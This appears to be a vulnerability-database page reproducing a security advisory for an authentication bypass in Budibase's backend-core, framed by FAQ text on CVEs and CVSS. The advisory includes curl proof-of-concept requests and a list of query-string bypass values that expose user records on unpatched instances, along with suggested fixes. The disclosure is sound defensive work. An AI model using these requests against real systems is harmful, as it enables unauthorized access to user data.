How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

346,508

Total vulnerabilities in the database

Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints — @budibase / backend-core

Improper Authentication

Summary

The authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL.

Details

Step 1 — Public endpoint patterns compiled without anchors

packages/backend-core/src/middleware/matchers.ts, line 26:

return { regex: new RegExp(route), method, route }

No ^ prefix, no $ suffix. The regex matches anywhere in the test string.

Step 2 — Regex tested against full URL including query string

packages/backend-core/src/middleware/matchers.ts, line 32:

const urlMatch = regex.test(ctx.request.url)

Koa's ctx.request.url returns the full URL including query string (e.g., /api/global/users/search?x=/api/system/status). The regex /api/system/status matches in the query string.

Step 3 — publicEndpoint flag set to true

packages/backend-core/src/middleware/authenticated.ts, lines 123-125:

const found = matches(ctx, noAuthOptions)
if (found) {
  publicEndpoint = true
}

Step 4 — Worker's global auth check skipped

packages/worker/src/api/index.ts, lines 160-162:

.use((ctx, next) =&gt; {
  if (ctx.publicEndpoint) {
    return next()        // ← SKIPS the auth check below
  }
  if ((!ctx.isAuthenticated || ...) &amp;&amp; !ctx.internal) {
    ctx.throw(403, &quot;Unauthorized&quot;)   // ← never reached
  }
})

When ctx.publicEndpoint is true, the 403 check at line 165-168 is never executed.

Step 5 — Routes without per-route auth middleware are exposed

loggedInRoutes in packages/worker/src/api/routes/endpointGroups/standard.ts line 23:

export const loggedInRoutes = endpointGroupList.group()   // no middleware

Endpoints on loggedInRoutes have NO secondary auth check. The global check at index.ts:160-169 was their only protection.

Affected endpoints (no per-route auth — fully exposed):

POST /api/global/users/search — search all users (emails, names, roles)
GET /api/global/self — get current user info
GET /api/global/users/accountholder — account holder lookup
GET /api/global/template/definitions — template definitions
POST /api/global/license/refresh — refresh license
POST /api/global/event/publish — publish events

Not affected (have secondary per-route auth that blocks undefined user):

GET /api/global/users — on builderOrAdminRoutes which checks isAdmin(ctx.user) → returns false for undefined → throws 403
DELETE /api/global/users/:id — on adminRoutes → same secondary check blocks it

PoC

# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w &quot;%{http_code}&quot; \
    -X POST -H &quot;Content-Type: application/json&quot; -d &#039;{}&#039; \
    &quot;https://budibase-instance/api/global/users/search&quot;
403

# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H &quot;Content-Type: application/json&quot; -d &#039;{}&#039; \
    &quot;https://budibase-instance/api/global/users/search?x=/api/system/status&quot;
{&quot;data&quot;:[{&quot;email&quot;:&quot;[email protected]&quot;,&quot;admin&quot;:{&quot;global&quot;:true},...}],...}

Without auth → 403. With ?x=/api/system/status → returns all users.

Any public endpoint pattern works as the bypass value:

?x=/api/system/status
?x=/api/system/environment
?x=/api/global/configs/public
?x=/api/global/auth/default

Impact

An unauthenticated attacker can:

Enumerate all users — emails, names, roles, admin status, builder status via /api/global/users/search
Discover account holder — identify the instance owner via /api/global/users/accountholder
Trigger license refresh — potentially disrupt service via /api/global/license/refresh
Publish events — inject events into the event system via /api/global/event/publish

The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.

Note: endpoints on builderOrAdminRoutes and adminRoutes are NOT affected because they have secondary middleware (workspaceBuilderOrAdmin, adminOnly) that independently checks ctx.user and throws 403 when it's undefined. Only loggedInRoutes endpoints (which rely solely on the global auth check) are exposed.

Suggested Fix

Two options (both should be applied):

Option A — Anchor the regex:

// matchers.ts line 26
return { regex: new RegExp(&#039;^&#039; + route + &#039;(\\?|$)&#039;), method, route }

Option B — Use ctx.request.path instead of ctx.request.url:

// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path)  // excludes query string

Published: Apr 16, 2026
Updated: Apr 17, 2026
GHSA: GHSA-8783-3wgf-jggf
Severity: Critical
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CWEs:

CWE-287

OWASP TOP 10:

A2 - Broken Authentication

Affected Software
References

Software	From	Fixed in
@budibase / backend-core	-	3.35.3.x

https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.